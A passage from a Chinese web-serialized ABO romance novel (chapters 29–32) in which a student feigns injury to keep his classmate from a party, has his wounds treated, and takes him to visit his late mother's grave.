整个房间都亮了一瞬, 隽云身体一颤,手机差点扔出去。 缓过来的时候,手机刚好震了震: —sy1011:啊?怎么还有闪电啊! —sy1011:我怕打雷Q口Q 隽云:“” 一米九的个头,怕猫、打不过别人、还怕打雷,怎么什么都怕 真是个头白长了。 —sy1011:不过你是不是要去参加聚会了?没事的,你不用管我了Q口Q,我看了一下天气预报, 大概等到后半夜雨小一点了,我就能回家了,很快的,在教室里睡一会儿,忍一忍五六个小时很快就过去了。 “”隽云刚洗过澡,身上还有热气,冷白的屏幕照映出他雪白的脸,黑白的瞳孔盯着屏幕皱了皱眉,他很轻地“啧”了一声。 开什么玩笑。 看了眼外头,雨势还是很大,而匙越全身都已经湿透了,身上还有伤,再等下去估计会生病发烧。 还五六个小时 他撑的过一个小时吗? 等会儿教室没水又断电,再晚点学校保安室都休息了,学校大门锁上,他连学校都出不去,弹尽粮绝被困住,估计直接在教室横尸三天了。 不想周一去替他收尸。 —云:少废话,待在原地,等我去找你 雨幕拉成极细的丝线密密麻麻像丝一样落下来,天色阴沉但还带着一点辨别前路的光亮。 匙越领着书包倚靠着楼梯口的柱子,长腿交叉,姿势十分闲散慵懒,完全没有照片里可怜兮兮的模样。 他面庞冷峻,一只手勾着书包领子,另一只手单手打字。 —明叔:少爷,要不要我去接你? —sy1011:不用,有伞。 —明叔:可是外面这么大雨,骑车打伞不方便,还是我派个车过来吧。 —sy1011:不用,我不打算骑车,有人来接我。 匙越顶了顶腮,脸上的五个巴掌印还鲜红着。 刚发送这句话过去,电话铃声就响了,看了眼身上的衣服,十几分钟过去,都快干了。 于是他把黑灰色的书包丢在台阶上,走到走廊上,又下了一层台阶,让雨水密密浇在自己身上,这下好了,又湿了。 手挡在手机上,匙越按下了免提。 “你在哪个教学楼?”从手机声筒里传出的声音显得十分机械冷漠。 雨水挂在匙越的眼睫毛上,随着他眨眼的动作又滴落下来,他举起手机在耳边,手臂崩起一条干净利落的线条,另一只手用力抓着衣角,紧绷着身体,嗓音有点夹,连带着他所说的话都透着楚楚可怜的意味: “我在b栋,你来了吗?” “我等你。” 湿湿淋淋的雨水声顺着潮湿压低的磁音传入耳朵,太亲密了,隽云下意识偏了一下头,手机拿远了点,然后眨了眨眼睛,又附在耳边,他只能干巴巴说: “好吧,你不要到处走,等我来找你。” 就在他要挂断的时候,对面急急地说: “等一下。” 于是隽云手顿了一下,问他:“什么事?” “叶姐姐会生气吗?你没去参加聚会。” 叶姐姐? 隽云的眉毛高高扬起。 好怪啊 好奇怪又莫名其妙的称呼。 隽云问:“你比她小吗?” “嗯嗯。” “好吧。”虽然一个大男人叫另一个alpha作姐姐,怎么想都很奇怪,隽云嘴角微微抽搐,但是还是没有去细想。 可能还是匙越太单纯了,或者他被叶馨言欺负怕了吧。 想了想,隽云蹩脚又有些笨拙地安抚了一下他:“不会,我送你回家,然后再去参加聚会也是一样的。” “哦,所以你等会儿还打算去是吗?”语调突然就沉下来了。 “嗯。”隽云确实是这么想的。毕竟叶馨言的请柬发到了家里,他爸妈也知道,所以不好再下叶家的面子。 东城区离主市区比较远,他之前有段时间经常去,从学校过去大概三四十分钟的车程,等把他送回家,他再去聚会肯定要稍微迟到十几分钟了。 挂掉后,他抬头看了一下玻璃窗外的天,阴沉的云连成片,也压在了他沉闷的心头 隽云看到匙越的时候,他站在b栋一楼的走廊上,倚靠着栏杆,低着头在看手机。 浑身都湿透了,衬衫紧紧贴在身上,透露出精悍的皮肤,西装裤湿得垂感明显,从脚踝往下滴水,头发丝也是,漆黑的发丝滴答地滴水,盖住了他的表情。 整个人非常的高大,头微垂着,或许是因为淋了雨冷,匙越的手呈现一种苍白,手指勾着书包,手臂袖子撸上去了,青筋勃发,整个人显得十分肃萧又干练。 隽云撑着一把黑色的大伞,站在大雨之中,匙越抬头看过来,就看到连绵的雨珠像断了线一样从伞上滴落下来,伞下的隽云干净无比。 匙越收起手机:“你来了?” 他的嗓音有些紧,唇色有点白,说完这句话还偏头手握拳抵在唇边咳了咳:“咳咳咳咳咳” 不是吧 这么弱? 隽云一言难尽地看着他,带着一丝嫌弃和诡异的同情:“快过来吧。” “噢好。”匙越很乖巧地走过来。 他走到伞下,匙越的个头比隽云高出一个头,于是他主动把伞拿过去,一只手领着书包另一只手撑着伞。 好在伞足够宽敞,只是伞下的两个人不可避免要挨在一起,外面雨声萧萧朦朦胧胧,校园红墙白瓦的建筑在雨的朦胧下像是另一个世界。 匙越闻到了隽云身上清新的沐浴露香味。 这么早就洗澡 隽云穿着一件宽大的针织衫,于是他往边上走了一点,免得身上的湿水沾到他的衣服上。 隽云察觉到,抬头看他,面无表情道:“过来,让我看看你脸上的伤。” “好。”匙越举着伞,很乖巧地弯下腰让隽云看他的脸。 隽云伸出一根手指在他的脸上的伤口轻轻点了一下:“痛吗?” 冰冰凉凉的手指轻轻略过,带来一点痒意,匙越刚想说不痛。 因为是他自己扇的。 话拐了个弯,他眼角一垂:“和叶姐姐无关,我只是不小心撞到她的手了” 隽云:“?” 脸上这么大个巴掌印。 隽云几乎气笑了:“你觉得我会信吗?” 还是撞到手这种蠢话。 匙越是肉眼可见的局促,上下嘴皮一碰就是道歉:“对不起” “你在道什么歉?匙越,看着我。”隽云冷冷地说。 匙越低头,漆黑的眼眸静静地看着他,隽云皱眉:“是不是叶馨言威胁你了?” 匙越老实地说:“她没有威胁我。” 这是倒是实话。 可是隽云却不信了,道:“她和你说什么了?” “也没说什么,就是”匙越顿了顿,十分为难地样子:“她说让我离你远点我没答应,她就给了我一个巴掌,然后把我的伞丢了,让我淋雨回去。” 会做出这种事,确实是叶馨言的风格,十分嚣张跋扈。 隽云冷笑一声,看着他已经开始肿起来的脸问:“痛吗?” 匙越马上摇头,然后很快又点头,小声说:“其实有点痛。” 这也是实话。 哪怕是他自己打的。 隽云眉目都笼罩着阴冷:“下次她再敢欺负你,你不必顾忌叶家的面子,直接还手就是,我会帮你。” 匙越闻言,愣了愣:“好的。” 他直起身,和隽云并肩走了一会儿后,他终于忍不住,偏过脸到另一边,唇角勾起。 隽云要帮他。 * 校门口停着一辆黑色的林肯,车型偏长,拉开车门,里面干燥的松木香扑面而来,车内装饰简单而干净高级,隽云弯腰上了车,挪了点位置给他坐,偏过头对还站在门口的匙越说: “上车,还愣着干什么呢?” 匙越站在车门口,一只手还拉着书包,额前发湿漉漉贴在额头上倒显出一种意外的乖巧来,他孤独而倔强地站在门口:“我上车会把你的车搞脏的。” 前面的司机扭头看了他一眼。 这雨这么大,他家少爷这么老远来接他,他不上车,他们还能把他丢下不成? 这大男人怎么这么扭捏。 正奇怪着,只听隽云发话了:“让你上车就上车,哪来那么多废话?” 得到许可,站在车门口像棵松树挺直高大的匙越这才迈脚坐进了这辆豪华专车。 车子重新在平坦的校外大道上行驶,隽云递过来一个叠好的黄色手巾。 匙越展开,是一个巴掌大的巾帕,大概是隽云的贴身之物,匙越闻到了很淡很淡的橄榄香的味道。 他擦了擦脸上细密的水珠,然后在隽云不注意的时候,侧头放在鼻尖闻了闻。 好香—— 作者有话说:跟那个bt一样 第30章 第三十章 “小皮鞋干不过白球鞋。”…… 车内的广播开了, 大概是一段新闻播报。 “荣华集团势头持续迈进,成功拿下城西Y135号地皮,未来三个月荣华集团与铭升集团的竞争将进入白热化, 一边是新锐势头企业,一边是百年老企, 究竟城东区地皮招标能花落谁手?” 匙越看了看隽云,他闭着眼靠在后排的真皮座椅上,侧脸白净, 神情没什么变化, 似乎对广播里的话不太在意。 车飞快疾驰在柏油大道上,溅起一滩又一滩水花 车停稳靠边, 依旧是一直以来隽云来东城区找他停车的地方。 匙越身上的校服被车上的暖气烘的半干不干,但是总归没有刚上车时的狼狈了,他打开车门, 长腿迈下去,运动鞋踩在地板上,溅起一滩水花。 与此同时他拿过车门边上的伞,撑开来。 头发还有些湿润贴在额前,随着车门大开, 湿冷的水汽疯狂涌入车内, 匙越关上门,地板湿滑,但他走得稳健。 天空是阴暗沉闷灰色的,透明的雨珠从伞面淅淅沥沥滑落,隽云看着他绕车走了一圈,然后打开了他这边车门。 雨伞倾斜,罩在车顶上, 没有让隽云淋到雨,匙越的声音又低又轻:“下来吗?” 隽云没想到他会开他这边的门,刚想说不了,匙越紧接着慢悠悠说: “能来我家帮我上个药吗?” 隽云抬头看他:“?” 匙越的眼珠很黑,像藏了一抹暗色,黑发凌乱,盯着他说:“后背很疼,也受伤了,家里没有人,只能麻烦你上药了,同学。” “” 隽云看了一眼前面的李叔,他正透过后视镜在看他们。 隽云冷冷淡淡地说:“后背有伤你刚才怎么不说?” 匙越轻笑了一声:“叶姐姐是你的未婚妻,我不好告什么状” 那为什么现在又说这个?隽云心道。 匙越似乎听到他的心声,说:“现在疼的受不了,只能麻烦你下来了。” “”完全没看出来哪里疼的受不了。 但是隽云还是下来了。 他和叶馨言订过婚是事实,理论上,他的未婚妻欺负同学,同学来找他告状,他作为慰问一下伤者去同学家里给他上个药似乎也没什么。 干净噌亮的小皮鞋踩到地面,隽云探出车内,站到他旁边:“那走吧。” 匙越单手支着伞,只是举着,因为身高差的缘故伞也离隽云很高,不会打到他的脑袋,并且伞下的位置很宽敞不拥挤。 匙越很体贴地安抚他说:“不用很久,等上完药你就能去找叶姐姐了。” “”隽云莫名其妙看他一眼:“你能别叫她叶姐姐吗?” 匙越垂眼:“怎么了?不能叫吗?” “算了随便。”隽云说。 俩人并肩走着,这条路之前隽云发情期的时候也走过,不过那时候他不太清醒,周边长什么样没有仔细看过。 他们走在一个上坡上,旁边的围墙不是很高,上面乱涂乱画了一些卡通图案和文字,墙头拉了很多电线杆,地上很多垃圾、废弃的酒瓶和烟头。 越过墙头能看到一栋栋歪斜的房子,房屋密集地挤在一起,一个个小格子窗户后面就住着一个家庭,甚至有的窗户都破了,只挂着几块布挡风,隽云看到有一个小孩子躲在后面偷看他们。 这里的环境实在糟糕,相比之下,匙越家有一小栋属于他们的房子,已经能算是比较宽裕的了。 “你家你妈妈不在吗?”隽云问。 让一个omega给alpha上药,可能还要脱衣服其实是有点奇怪的。 毕竟隽云上过卫生课,他明白omega和alpha之间性别有别。 匙越:“她不在。” 说不清为什么,隽云有些庆幸地松了一口气。 他还没有准备好要见匙越的妈妈。 快到匙越家的时候,又碰巧遇到了上回遇到的人,有个老人站在看上去是小卖部的店铺一楼门口看雨,冷不丁瞧见,眉眼间顿时带了点揶揄,朝他们挥手: “哟!匙家小子!” 匙越的伞抬高了一点,完整露出他的眉骨,带着点笑意朝他挥了挥手。 那人拍大腿,往后大声说:“匙越又带omega回家了!” 于是那人身后出现一二三四一群人,个个从屋子冒里出来,探着头朝外面看。 隽云顿时有点不自在起来。 有什么好看的? 都跑出来看。 匙越嘴角漾出一抹笑,他摇摇头,对隽云说:“别介意,他们就爱开玩笑,别往心里去。” 隽云就没说话了。 门是从两边拉开的,上面有门插,还上了锁,等开了门,老旧的门吱呀一声被推开,匙越手里拿着锁链,关上门,又把里面的门插拉上,拿锁链锁好。 匙越和他解释:“这边小偷太多了。” 隽云表示理解,毕竟这里是东城区。 东城区是在A市甚至A国都是数一数二的黑界地带,偷盗、抢劫、地下交易什么都有。 这里有非常多的地下赌场、地下器官交易中心和□□易中心,外来人口众多,甚至死了个人都不会被发现。 有小偷算什么。 隽云在一个月以前还只听说过这个地方,没有来过一次,没想到后来会频繁来。 “你从小在这里长大吗?”隽云问。 “嗯。”匙越点头。 隽云心道,那在这里生活还蛮不容易的。 他们走过小院子,再推开房门,屋子内一片漆黑一点动静也没有。 匙越摸索到灯的开关,“啪”的一声,开了灯后,隽云站在冷清空荡的房子里,突然问他: “你爸妈什么时候离婚的?” 见匙越不说话,隽云说了一声:“抱歉。” “没事,不用道歉。”匙越:“我还没出生的时候,他就和别的女人在一起了。” 所以是出轨。隽云心想。 “那你妈妈带着你在这里独自生活吗?” “对,那时候很不容易。”匙越说:“我妈和我爸分开后,就在这里靠给人缝衣服赚点钱,供我读书。” “这样啊。” 隽云环顾了一下四周,房子很小,几米就能走到头,房间左边,摆了一个沙发,中间是一个低矮的桌子,上面堆满了杂物,右边墙上挂着一个指针时钟,钟表坏了,表面有一道很大的裂缝,时间停留在下午五点,钟表下面有一个柜子,镂空的格子层零零散散地放了些东西。 “你先坐,我去洗澡换个衣服。” 匙越走过去,鞋子踩在地板上留下一串脚印,隽云这才发觉匙越湿着身体挺了一两个小时,还没有感冒也没打一个喷嚏,也真是身体很好了 匙越进卧室找了几件衣服裤子去了卫生间。 等匙越出来的时候,发现隽云站在客厅的窗户边,脚边是矮脚凳子,他没有坐,而是背对着他,在看窗外那颗枝繁叶茂的大树。 匙越问他:“怎么不坐?” 隽云转过身来,看到匙越穿着一身简单的黑色T恤、休闲工装裤,他手里提着一个塑料袋,里面有很多药,最上面一瓶是碘伏。 匙越带着温热的水汽靠过来,弯腰拿起隽云脚边那个矮小的木凳,走到沙发前放下。 又把前面的桌子稍微往前挪了挪,袋子搁在地上,他坐在矮脚椅子上,朝他示意了一下: “来,你坐沙发。” 于是隽云迈步过去坐下,他坐的很规整,想着等会要在匙越面前上药,就走过去很自然地坐在他的前面。 结果这一下和他面对面了。 匙越坐在椅子上比他矮一点,腿没收着,膝盖虚虚抵在沙发边缘,他换了一双干净的白色球鞋,和隽云的黑色小皮鞋相比大了四五码。 隽云的皮鞋鞋尖上粘上了一点泥,在匙越的两腿之间夹击着,有点局促地踩着地面。 隽云突然就后悔和匙越正对着坐了。 匙越扫了眼他的腿和鞋子,然后起身扯了点纸,捏了捏他那只脏了的小腿,握着紧绷的小腿腿肚轻轻抬起来。 皮鞋鞋尖往上扬起,红底不设防地露了出来,匙越的手再往下,抓住他的后脚踝,另一只手把他鞋尖上的泥抹掉了。 隽云后知后觉,脸轰地烧了起来。 他的腿往后缩了缩,匙越恰好也放开了他。 重新踩在地上,隽云的嗓音紧绷:“谢谢谢。” “不客气。”匙越说。 隽云的手不自在地碰了碰沙发,沙发很软,虽然比不上家里几千万的沙发,但也很有弹性,手边随手压着的地方手感有些不对,他转头,这才看到那里有一块颜色稍微亮一点的补丁。 但是缝线的人手艺很好,不仔细看几乎看不出来。 匙越顺着他的视线看过去:“噢,那是我小时候调皮,不小心弄破了,我妈裁了其他布缝上去的。” 隽云:“那你妈妈的手艺很好。” 匙越就笑了:“是挺好的。” 隽云瞥了眼他,匙越正对着他坐着,比他矮一个头,抬眼看着他,像一只小狗。 隽云突然心跳快了一拍,他移开视线,不自然道: “药给我吧。” 于是匙越捡起地上的塑料袋递给他。 见隽云拧开了碘伏,匙越转过身去,把上衣撩上来露出后背,他说: “但是她很倒霉,刚来城东的时候不知道能做什么,就专门找了一家裁缝店当学徒,学了大半年,结果只拿到了几十块钱工资。” 没想到会这样。 隽云问:“然后呢?” 药轻轻涂在他的背上,匙越语气如常,似乎感觉不到痛:“然后她就出来自己接活干了,刚开始接不到生意,她就带着我一家一家敲门,问有没有破衣服需要缝。” 隽云没想到他们这么不容易。 匙越说:“她确实是一个很独立的女性。” “那你妈妈现在在哪?” 匙越偏过脸来,有些意外道:“你想见她吗?” 隽云静了两秒,听匙越说这些事情他能想象到一个温柔又强大的女人,那是匙越的妈妈。 隽云问:“可以吗?” 匙越看了他几秒,说:“先上药吧,我带你去。” “好。” 他把上衣脱下,背上的伤痕就显露出来了,确实有一块地方颜色发青了,不过幸好情况不严重。 隽云拿起棉签蘸了一下碘伏在他身上涂抹,棉签划过皮肤,轻柔地打圈。 有点痒,也难得温柔,匙越此刻想去看看他的表情,但是他忍住了没有转身,感受到他拿着棉签,在背上轻轻划了一块区域,问他: “你这块伤,是怎么弄的?” 没想到他问这个,匙越想了想:“叶馨言推了一下我,我不小心撞墙上了。” “真的吗?”隽云。 匙越一本正经地点头:“嗯嗯。” 虽然只是因为前天发现有拨人在老城区跟踪他,为了将那些人甩开,他不小心撞到了背而已。 这点伤对他来说不算什么,却刚好能拿来当借口拖延隽云一些时间。 叶馨言不会知道她今晚背了什么锅。他眼中闪过一抹阴狠 擦着擦着,隽云心想,青了这么大一片,可想而知用了多大力气,哪里是匙越口中轻飘飘地推了一下。 他看到匙越背上还有其他细小的伤痕。 都是一些陈年旧伤,都好的差不多了,但是伤口结痂脱落后留下来疤痕,在他小麦色的皮肤上显眼地交错。 上次只注意到了红色的抓痕,没想到他背上的痕迹这么多。 还有被烟头烫伤的痕迹。 隽云蹙眉:“这些伤怎么来的?” “啊,那个啊”匙越微微偏过头来:“就是小时候什么也不懂,就被别人欺负了,都过去了。” 隽云:“被谁欺负?” 匙越沉默了一下,说:“以前的同学。” 同学怎么会把他打的身上那么多伤? 隽云从小到大没有被打过,只是被父母安排着走,他也表现的很乖顺听话,虽然说不快乐但也还算顺利地长大了,他没有见过匙越这样的坎坷人生。 隽云拧了拧眉,问他:“老师不管吗?” 匙越:“这边的学生基本上都是混混,老师管不了,他们能明哲保身就不错了。” 匙越回忆:“我之前在的学校,学生大部分都是混子,翻墙出去打游戏的都是小事,多的是吃喝嫖赌的,老师管不到学生,也不管学生,根本没有学生会穿校服” 他晒笑一声:“说来,开学典礼那天,是我第一次穿校服。” 在那种环境下也能以优异的成绩参加星耀中学的考试并被选拔进入星耀中学读书。 隽云凝眸,这个人比他想象的要更坚韧。《 》 30-40 第31章 第三十一章 “你真可爱。” 看着匙越背上已经变成青紫色的一大块淤血伤痕, 隽云问他: “那来这里读书,你有没有后悔过?” 在东城区辛苦地长大了,从老师那里得知可以参加竞赛进入星耀中学, 就去参加各种市区联赛全国联赛,直到通过校考, 才成功拿下进入星耀中学的学生身份。 每一步都很辛苦,本以为跋山涉水到达星耀后可以开启一段美好的校园生活了,却没想到会因为社会招考生的身份再次被针对欺负。 隽云心想, 或许是从一个地狱走到了另一个地狱。 匙越却说:“不后悔。” * 匙越拿起手机, 按亮了一下手机屏,看到上面显示的时间快七点半了, 他关掉手机屏幕,抓起衣服拎在手上,起身站在隽云面前, 很有礼貌且愧疚地说: “ 真是不好意思,耽搁了你的时间,聚会应该已经开始了吧?你快去吧,不用留在我这里了。” “”隽云手里还拿着棉签,刚上完碘伏, 还打算要给他涂消肿的药, 抬头看他,匙越人高马大地站在他面前,脸上的巴掌印还没消。 想到他刚才和他说的话,隽云一时间有些无言以对,他都被叶馨言打了,还催他去参加叶馨言的聚会? 未免太为别人考虑了吧? 隽云暗暗摇头,啧啧奇道, 这个人,性格未免也太好了。 是个老实人。 隽云其实是那种别人为他考虑了他就也会为别人考虑的性格,只是嘴上不会说,一般体现在行动上帮帮忙,事了拂衣去,深藏身与名,别人甚至都不知道是隽云出手帮忙了。 他对于匙这种经常吃亏的老实人更是生出一种怜悯之心。 隽云抿了抿唇,站匙越这边说:“算了,我不去了。” “你现在去还来得及。”匙越似乎是毫不在意地提醒他。 于是这让隽云更加坚定了,他垂眸:“不去了,本来也不太喜欢她。” “为什么不喜欢?” “为什么我要喜欢?”隽云淡淡说:“联姻而已。” 匙越顿时没说话了,其实他早就已经猜到隽云不喜欢叶馨言,下意识的肢体抵触不会骗人,只是他没想到隽云会直接告诉他。 匙越扬了扬眉,他偏过头轻咳一声,然后表情恢复正常。 “你不喜欢她的信息素味道。”匙越风轻云淡地点出了关键性问题:“那是因为,你和她匹配度不高。” 一下就安静下来了。 他和叶馨言匹配度确实应该不高,以至于他反感她的味道,但是,匹配度高达98%的人,此刻正站在他的面前。 隽云眼皮一抬,发现匙越正看着他,他撇开视线,手上的棉签在手里转了一圈,心忽地就有点落不踏实一样,开始一下又一下跳的很重。 隽云说:“喜欢也不是和信息素匹配度绑定的,我如果喜欢他这个人,和信息素有什么关系?” 匙越的眼眸看着他:“你说得对。” “我”隽云移开视线:“我再给你涂点其他药吧。” 匙越就又坐了回去,背对着他,看不到匙越,刚才奇怪的氛围倏地一下就散了。 隽云松了口气,他捏着棉签,蘸了点药,继续给他,涂药,轻轻按揉打圈,他看到匙越的手张开又捏成拳。 “很疼吗?”隽云以为是自己弄疼他了。 “不疼。”就是痒,所以要忍耐着点。 “好了。”隽云看着上面的红色的碘伏和透明的抗生素软膏膏药融在一起,他说:“明天应该就会消肿了。” “好的。”匙越起身。 “还有你的脸。” 匙越不太在意:“过一晚就会消肿了,不用涂药。” 本来也是他自己打的。 不然用什么理由让隽云过来找他? 对于他想要的,他向来不择手段。 他不想隽云去参加有人设计的圈套,所以哪怕给自己一巴掌、淋雨卖惨,对他来说都算不上什么难事。 毕竟在东城区从小摸爬滚打着长大,更黑的事情他都做过,这些事情自然算不上什么。 至于他想留下隽云,不让他去聚会,是因为星期三那天,他从厕所出来的时候,有个双马尾女生扯住他的袖子,告诉他,有人要她端着一杯下了药的酒给隽云喝。 问她为什么要告诉他,女生说,因为上次在捐款石壁后面,她觉得他和隽云的关系很好。 想到这,匙越漫不经心地看向隽云,他正拿着盖子把药水拧紧,指尖还夹着用过的棉签——大概是没找到垃圾桶在哪。 匙越伸出手:“给我吧。” 于是隽云伸手,把棉签递给他,在和隽云手指相触的刹那间,匙越心想,确实是很好的吧。 匙越绕去厨房,找到一个垃圾袋,把几根棉签丢了进去。 “为什么答应留下来?”匙越走过来,他问:“聚会你赶得上。” “我上次答应过你,陪你回一趟老家。”隽云说:“但是我那时候发情期,不能算陪。” 确实,那时候他神志不清,甚至一觉醒来连前一天他是怎么纠缠他、他又是怎么哄他的都忘了。 匙越冷静地打量他,然后点头:“确实不能算你陪我。” 他陪他还差不多。 隽云起身,他去洗手间洗了个手,然后出来,看到匙越正从桌子上那堆杂物破铜烂铁里摸了个手电筒出来。 知道是要带他去见他妈了。隽云慢吞吞地拿纸巾擦手,他有些犹豫。 其实刚才他只是一时好奇 真要见的话,他还没有做好准备。 omega独自跟alpha来家里,还要见他父母,怎么看怎么奇怪吧 不知道他妈妈会怎么想他。 隽云唇角一抿,匙越拿着手电筒看他:“走吗?” 他走到门边拧开门,见隽云不动,他靠在门边,似乎才看出了他的踟躇,嘴角勾起一抹笑意:“放心,我妈人很好,不会吃了你的。” 隽云:“” 不知道他妈有没有发现上次家里有外人闯入。 隽云想,这次就能见到他这个外人本人了。 还是出门了。 出门前匙越让隽云换上他的鞋子,匙越的鞋子有点大,也不太合脚,但是匙越坚持让他穿上,说要不然等会儿会弄脏他的皮鞋。 不知道是要去一个什么样的地方,基于对匙越的一点点信任,隽云还是穿上了。 出门后,他在旁边看着匙越落下门闸,隔壁小卖铺的那几个人倒是没有再出来了,不然路过的时候指不定又要吹嘘他们一番。 这里的路都很窄,已经晚上八点多了,路边有醉汉倒在地上,隽云满身清隽贵气,站在边上等匙越锁好门。 有几个人在不远处的路灯下站着,头发很邋遢,不怀好意地指着隽云说什么,隽云听说过东城的不太平,打算叫附近的保镖出来把他们赶走。 匙越的钥匙在孔上转了半圈,他听到动静,偏过头打量那边的人。 阴冷的目光压在碎发之下,眼神犀利,昏暗的灯光打在半边脸上,下颌在脖子投下了一层阴影,扭钥匙的动作像老旧的黑白电影,带有浓浓的警告意味。 那几人一愣,互相交头接耳了几句认出来这是谁后就跑掉了。 隽云正在犹豫要不叫在远处跟着他的保镖出手赶人,那几个人实在不像是正经人,还在犹豫呢,那几个人就走了。 真是莫名其妙。 隽云正奇怪着,匙越已经锁好了,他把锁好链条的钥匙拔出,钥匙圈轻快地在手指上转了半圈,见隽云不走,他从鼻腔里发出一声疑惑: “嗯?” “怎么了?”隽云回过神来。 匙越歪了歪头:“你在看什么?” “没什么。”想到他的胆子那么小,隽云怕吓到他,于是他摇摇头,什么都没说。 东城区太破旧了,属于A市一开始发展就没带起来的地方,之后更是视东城区为弃子,想将它划分至B市,不过没有成功,B市也不接纳,由于近几年来没有什么政策扶持下,于是这里发展成了A市最大的灰色交易地带。 有地痞流氓、小偷抢劫的人盯上他们也不足为奇。 他们走了就好。 这边的路灯很多都坏了,路边很多灯只是架在那里像是摆件,发黄或者抬头能发现灯泡已经被砸烂,灯座底下躺了几个流浪汉,目送他们离去。 两人越走越偏僻,一开始还能看得到人,直到走到窄小的小巷里,顶上是三两小窗里散发出的微弱光芒,这时隽云还庆幸匙越带了手电筒,不然路都看不清,小巷子像迷宫一样,隽云跟着匙越七拐八拐地走,跟的稍微紧了些,免得稍有不慎就走错路了。 隽云小心地避开地上的垃圾,然后他踏上了一片松软的泥土。 抬头,他看到了密集的树木,树林里面黑黢黢的,树木和树木之间交错,老树粗壮,树枝上的须枝叶垂落下来。 怎么看里面都不像是有人的样子。 之前想象的似乎要马上实现,要真实发生了。 匙越把他骗来这里干什么 “你你是不是走错路了?”隽云警惕地往后退了几步。 该不会真要把他卖了吧? 东城区一个omega能卖到多少钱来着 隽云脑子飞快地转。 不知道他让暗处的保镖回去拿钱还来不来得及。 “想什么呢?”匙越在他眼前挥了挥手。 隽云被他的动作吓得一激灵:“你想干什么?” “?”匙越觉得有意思似地,双手抱胸,一步步朝他凑近,他走一步,隽云就退一步。 隽云紧绷着脸:“你要干什么?” 穿着他的鞋子,脚不合身,能看到一点白皙的皮肤,大几号的鞋子穿不住,于是鞋跟擦着地面,不住地后退,差点被绊倒。 在隽云就快摔倒的时候,匙越眼疾手快地托住他的腰。 隽云顿时被他拉了回来,贴在他的胸膛上。 “我能干什么,我妈就在里面。”匙越半搂着他,手环着他的腰用了点力,隽云顿时被他提正了,放到地面上,匙越哑然失笑: “你到底在想什么啊?” “没我没想什么。” “是吗?那你为什么怕我。” 匙越低头看到隽云的鞋子侧面沾染上一点脏东西了,他说: “怎么样,还好提前换了鞋子。” 幸好提前换鞋了,不然指不定他的皮鞋会有多脏。 被转移了注意力,隽云也低头看过去,嘴角扯扯:“那还真是多亏你了。” 带他来这种地方。 匙越笑了笑,他转身走了,隽云完全不认路,回去的路都差不多忘了,只能跟上去,跟在匙越身后一脚踩入了密林里。 密林里四周寂静漆黑,偶尔还能听到风声,脚下的杂草很多,隽云时刻要注意脚下免得被绊倒,走着走着,感觉四周实在寂静的可怕,越来越诡异,于是他忍不住快走几步,逐渐靠近匙越的后背。 他忍不住说话:“你妈妈不是” 不是做裁缝的吗? 到底为什么带我来这里? 话还没说完,尾音有些走调,剩下的的话消散在风里——因为他看到匙越突然转身,光打在脸上,整张脸惨白阴森无比。 他面无表情,眼睛也毫无神采,看上去像是被鬼附身了。 “”隽云脚一顿,眼睛睁大,脸上血色尽失。!!! 他几乎僵在原地不动了,左脚往后撤了一小步,双眼一眨不眨地看着他,呼吸都停住了,不敢说话,免得鬼突然扑过来。 很快,他看到匙越眨了眨眼睛,把手电筒移开,凑过去看他: “嗯?怎么变成木头人了?隽云同学,真被我吓到了?” ""隽云感觉他终于恢复了呼吸,他缓过来,与此同时后槽牙咬紧了: “匙越”音调稍微拔高了,他咬牙切齿地说:“你有毛病吗!?” 匙越:“这不是怕你太无聊了吗?” “”隽云平复心情:“我看你才是真的无聊。” 匙越没忍住,偏过头大笑起来,肩膀耸动:“有没有人说过啊?” “什么啊?”隽云脸上挂不住。 “你真的特别可爱。” 什么!? 当然从没有人对他说过这句话。 隽云眼睛睁大了,好半天,才想到一个骂人的话:“你才可爱!” 匙越笑的更加大声放肆了。 隽云很用力地走在他的前面,以此来表达他的愤怒。 “走错路了,这边。” 隽云掉头:“哦。哦。”—— 作者有话说:这个十月怎么老是欺负卷云 第32章 第三十二章 “老大。” 踩着松软的土地走了几分钟, 匙越拨开一处垂落下来的树枝,让隽云走了过去,然后他弯腰也走近了这一片地方。 四周围着很多树, 在一颗比较大的树前,立着一个白色的石碑, 上面贴着一个女人的黑白照片,笑的温婉。 这是 隽云顿在原地。 仔细看女人的眉眼和匙越有些相似,隽云听到匙越轻声说:“这是我妈。” 隽云愣在原地。 好半天, 他张开嘴, 竟然说不出一个字。 原来, 他妈妈已经 “你长得和你妈妈挺像的。” “谢谢。” 匙越看着墓碑上女人的照片, 眉眼一弯,脸上近乎出现一种温柔的神色来,因为今天下午下了一场暴雨, 照片上的防水框表面有雨滴,他走到墓碑的旁边伸手,把上面的雨水擦掉。 “被吓到了吗?” “没有,我就是”隽云组织措辞:“没想到会这样。” 匙越和她说起他妈妈的时候,神情自然, 从来没有流露过一丝悲伤, 以至于甚至说起他妈妈做裁缝工来赚钱养家的时候,隽云也以为,她靠这门手艺把匙越养大,养得不卑不亢、落落大方,只是没想到她居然已经 “什么时候的事?” “很久了,我读五年级的时候。” 一时间,隽云的心紧了紧, 他想到在房间给匙越上药时,匙越背上密密麻麻的伤痕。 所以,没有爸爸照顾,妈妈又去世了,就剩他一个人生活在这里? 五年级的小孩,生活在这么脏乱差的东城区,这么多年,他是怎么长到这么大的? 匙越对着墓碑说:“妈,我过的很好我到星耀中学还交到朋友了,今天带了同学来看你。” 坟墓上堆着几朵还新鲜的花,像是前几天才放上去的,树林里刮起了风,四周风声呜呜,隽云站在墓碑前,看着照片里的女人,他张口,喉头艰涩地说: “阿姨您好,我是隽云。” 没有人回应他,只是风吹起树枝轻晃发出沙沙声,微风吹过他的发顶,像是长辈的爱抚。 隽云刹那间想到他给他打电话的那一晚,那晚他的焦虑障碍犯了,整个人呼吸不畅,是因为接了匙越的电话,听着匙越说话才感到好很多。 那晚,他告诉他,他心情不好,在陪他妈妈。 原来是来了这里吗? 隽云眼睫一颤,他刚打过来的时候,匙越也说他的心情不好,很难想象,匙越是怎么一边安慰他,一边还要收拾自己的心情的。 匙越看着隽云,招手对隽云说:“过来。” 隽云走到他旁边,他这才发现,墓碑的选址很好,三边都是遮掩的高大树木和灌木丛。 一抬头,斜对面的地方开阔无比,能看到不远处歪挤在一起的房屋,点点暖黄黄色的灯光透过窗户照出来,是人间。 再往上看,绿油油晃荡的树枝旁边就是一轮高悬的月亮,是月色。 月光微亮,星星一闪一闪,夜色的微风吹在身上,泥土混着草木的芬香萦绕鼻尖,点点黄晕的萤火虫飘摇地上下飞着,是隽云完全没感受过的心境 